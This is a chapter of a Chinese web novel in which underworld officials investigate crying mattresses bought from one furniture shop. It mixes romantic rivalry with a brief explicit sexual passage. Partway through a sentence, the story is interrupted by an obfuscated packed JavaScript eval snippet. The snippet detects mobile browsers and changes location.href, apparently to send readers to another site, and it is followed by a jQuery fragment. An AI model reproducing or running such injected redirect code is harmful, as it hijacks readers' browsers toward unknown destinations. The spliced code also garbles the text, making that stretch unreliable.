105.会哭的床垫
作品:《在地府考公上岸后》 三人站起身,让金匠下床,金匠的脚一落地,脸上就是一喜:“咦?哭声停了?”
张松鹤又坐回床上:“不,哭声还在。”
看来问题就出在床上了,张松鹤围着床转了两圈,没看出什么特别的,就是一张普通的双人床啊。
他扫一眼温尔雅:“过来跟我一起把床垫掀开。”
温尔雅很不爽他的做派,一个男绿茶,还想使唤正室?他回道:“凭什么是我?”
张松鹤奇怪地盯了他一眼:“那你是要让平安跟我一起搬床垫?”
温尔雅吃了个瘪,只好愤愤地起来,两人手臂一用力,将床垫掀开,露出木头床板。张松鹤再次坐在床板上,这次没听见有哭声,他伸出手,贴上被搬开的床垫,哭声又回来了。
他站起来,手没有离开床垫,而哭声也一直没停,他招呼另外几人也去摸床垫,大家表示都听到了哭声。
会哭的床垫!
金匠整个人都吓麻了,两眼一翻跌在祝平安身上,张松鹤一把扶住他:“醒醒,现在不是晕的时候,要晕也等你告诉我床垫在哪里买的再晕!”
张松鹤跟温尔雅合力把瘫软的金匠抬到椅子上,祝平安下楼烧了一杯热茶给他灌下去,好半天金匠才缓过来,气息奄奄道:“床垫是我之前在一个叫天与水的家具店买的,他们说是什么岫岩玉床垫,内含微量元素,能放射红外线,调节人体经络,促进血液循环……妈呀,他们怎么不告诉我最重要的,这床垫会哭啊!要是早跟我说,我就不买了!”
你也说了,人家要是告诉你,你就不买了,那谁还告诉你啊?祝平安心中吐槽,问道:“冷静,床垫不是一开始就会哭吧?”
金匠点头:“也就是十天前才开始的吧,之前一直是好好的!难道是床垫最近成精了?床垫精不想被我压着,所以才又哭又叫的?”
金匠想到这里,从椅子上翻下来,双膝落地就给床垫咣咣叩头:“床垫精大人,我不是有意压着你的,请你大人有大量,千万别跟我计较……”
祝平安看金匠是真害怕,已经开始胡说八道了,赶忙把他拉起来,抓紧问他最重要的:“你刚刚说床垫是在天与水家具店买的?店铺地址在哪里,你还记得吗?”
金匠把地址写了下来,几人获得线索,就打算告辞了。张松鹤问:“床垫可不可以给我们带回去?您放心,等我们查清楚是什么问题,会把床垫给您送回来的。”
金匠听得一边点头一边摇头:“您快拿走吧,太吓人了这个……以后也不用给我送回来,随你们处置好了……谢谢啊!”
就这样,张松鹤和温尔雅抬着床垫下来,这大家伙还真挺沉,祝平安询问:“把它拿到哪里去?”
“送法医处吧,让他们想办法检查一下,到底是床垫成精还是别的什么。”张松鹤小臂肌肉隆起,看起来丝毫都不费劲,温尔雅虽然觉得有点重,但为了面子死撑着,坚决不肯在这方面输给张松鹤。
三人组抬着一张床垫在胭脂街招摇过市,寻找马车往回拉东西。祝平安一边在街上找车,一边问道:“你们说,是不是所有投诉的人都遇到了这种情况?”
张松鹤抬着床垫走在前头,听了她这话脚步一顿。温尔雅猝不及防,差点没摔个趔趄,狼狈不堪地稳住了身形。只听张松鹤说:“你说的有理,既然来了,干脆就把所有投诉的人家都走一遍吧,看到底是不是床垫的问题。”
于是,那天他们一共收获了八张床垫,无一例外都是在天与水家具店买的。床垫在车上摞的高高的,路人也不免为之侧目。
张松鹤在前面赶车,祝平安感叹道:“这让我想起来一个童话故事,豌豆公主。王子给公主准备了二十张床垫、二十张鸭绒被子,叠起来让她睡觉,我小时候还没觉得有什么,现在一看,二十张床垫还不堆到天花板上了?公主是怎么上去的?”
“所以说童话故事都是骗人的啊。”张松鹤毫不浪漫地臧否童话,“好了,我的好奇公主,你有时间,还不如听听床垫在哭什么,说不准它们有冤情要诉呢。”
明晃晃的勾引!居然趁机叫平安“我的公主”,但又把这个称呼藏在貌似公务的对话中,暧昧的很!
看不出啊,张松鹤还有这一手!温尔雅脸色发青,连忙去看平安的反应,见祝平安丝毫没觉得异样,但还是乖乖往后一靠,潜心去听床垫的哭声,看来没被勾引到。
这一会儿,车子已经驶出了胭脂街,四下安静了不少,祝平安凝神细听,还真让她听出了一些不对:“这……这好像不是一个人的哭声。”
她细细辨别:“我总觉得,是好多人在哭,男的女的都有……有时候还有惨叫,这些声音交叠在一起,又好像有些失真,这才令人难以分辨。”
“有说话声吗?”张松鹤问重点了。
“还真有。”祝平安继续细听,“但是都很短促,好像不是求求你饶了我,就是救命啊,都是些没有意义的东西。”
她开始有点担心了:“救命啊……难道,我们这次真的遇到了大案要案?”这么儿戏的吗?大案要案是被床垫哭出来的?说出去人家还不以为她疯了?
“别想这么多了,明天先听听法医怎么说吧,如果真的有问题,我们再去那个天与水家具店看看,否则压根都不知道床垫哭声的原理,想也没用。”张松鹤一挥马鞭子。
也只好这样了,祝平安表示同意,几人把八张床垫往法医处一塞,各自打道回府。
当天晚上,祝平安被温尔雅卷在怀里,很久都不让她睡觉。他一边呼唤她为我的公主,一边紧紧抱住她的身体,用手指服侍了她好几次,让她大汗淋漓,软如烂泥,却还不肯放过她。
“真的不行了,明天还要上班……”祝平安倒也不是不喜欢,可今夜实在吃得太饱,都有点撑着了,她摁住温尔雅还要动作的手,眼皮立刻就合上了:“乖啊,让我睡觉……”
温尔雅不甘心地凑上去:“我的公主,请回答我一个问题,作为今夜的奖赏吧……是谁令你最快乐?”
祝平安迷迷瞪瞪地把他揽进怀里,在他额头上亲了一口:“还用说吗?当然是你呀,我的裙下之臣……”
祝平安说完这句话就不动了,眼皮一眨不眨睡得死沉。温尔雅这才满意了,现在,公主的身体和心灵,肯定都被他带来的快乐全部占满了,再不会有一丝心力想着别人。
这种亲密接触,张松鹤可是万万没有机会的,那点小暧昧的绿茶手段,怎么能与他相提并论?
想到这里,他得意非凡,心头那点慌乱又被柔情取代。他轻轻从祝平安怀中挣脱出来,抱她去浴室清洁身体,又将汗湿的被褥全部换下,这才心满意足地将公主圈进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081666|191265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀里,闭上眼睛睡觉。
第二天,卫珑看着祝平安顶着黑眼圈的样子,不由得在背人处打趣:“你这气色……昨天下班后过的很愉快么?”
祝平安呸她一句:“收起你的想象,昨天晚上我们是加班去了,法医处有八张床垫为证!”
卫珑嬉笑道:“跟我还瞒着?加完班之后,你跟窝边草干嘛去了?”
“八卦!你爱怎么想怎么想吧,我懒得跟你说!”
两人嘻嘻哈哈进了门,张松鹤自然也能看得出祝平安今日的变化,瞧着温尔雅挑衅地看着自己,他也不以为意,只是如常进行着会议,让温尔雅好生失落。
今天晨会没说太多,下会后,祝平安就直奔张松鹤过去了:“法医处怎么说?”
“哪有那么快,法医处有结果了我会告诉你的。”张松鹤的目光从她脸上扫过,八风不动:“这里是专班工作室,你还是继续履行专班成员的职责吧。”
祝平安撇撇嘴,只好坐回去。温尔雅则又是暗戳戳的不开心了,只要平安还在上班,就总要跟那个姓张的往来,这让他怎么受得了?
张松鹤瞥见温尔雅的神色,心里好笑,被偏爱的还要这么紧张,让他这从没得过回应的怎么办?
当天中午吃饭时,祝平安一边吃一边跟白子欣说床垫之谜,两人聊得热火朝天。温尔雅不动神色地把自己碗里的炸虾夹给祝平安一个。
这动作的占有欲味道很强,祝平安正说到兴头上,完全没察觉,夹起来就吃了。
白子欣则愣了愣,意识到自己挤占了二人的私人空间,于是火速结束了话题回去了。温尔雅这才开心起来,接下来都是他跟祝平安的二人时光了。
张松鹤坐在稍远处的桌子上,把一切尽收眼底,待到二人都吃完,把餐盘拿到回收处,他也跟着站起来,排在温尔雅身后倒盘子。
排队时,他压低声音,用只有他跟温尔雅能听到的声音道:“放松点,没人要跟你抢她,女人可不喜欢小心眼的男人。”
温尔雅一怔,张松鹤已经飘飘然走了。他可不希望温尔雅又在夜里折腾祝平安,经书有云,纵欲伤身,还是从根源上节制些好。
温尔雅反应过来,气的火冒三丈,这不要脸的男绿茶!他那是什么口气,好像他才是正室一样,还教导他怎么样才能讨人喜欢!
你个败犬!你懂女人喜欢什么样的男人,平安怎么不要你?
虽然腹诽,但温尔雅多少还是放松了一点。接下来的几天,他再没有那么放纵地缠着平安,当然,他绝对不承认这是听到张松鹤说“没人跟你抢她”后,才松掉的一口气。
法医的报告还没出现,而祝平安则在床垫事件中学到了一个新经验:大案要案不一定会出现在民诉通,但与大案要案关联度高的小事,非常有可能反应在民诉通上。
她翻看胭脂街过往的工作记录,与白子欣告诉她的案件对照,发现在胭脂河浮尸被找到前,有两名居民投诉附近有异味;花满楼上吊案发前,也有人投诉有个女人总是神经兮兮地在大街上徘徊,怀疑是疯子,希望差役把她抓起来。
但凡事件发生,必定有迹可循,小事背后可能藏着大事……祝平安现在多少有点感觉到,白子欣说过“民诉通的独特优势”是什么了。
她沉思着,开始翻找云来大街的工作记录。

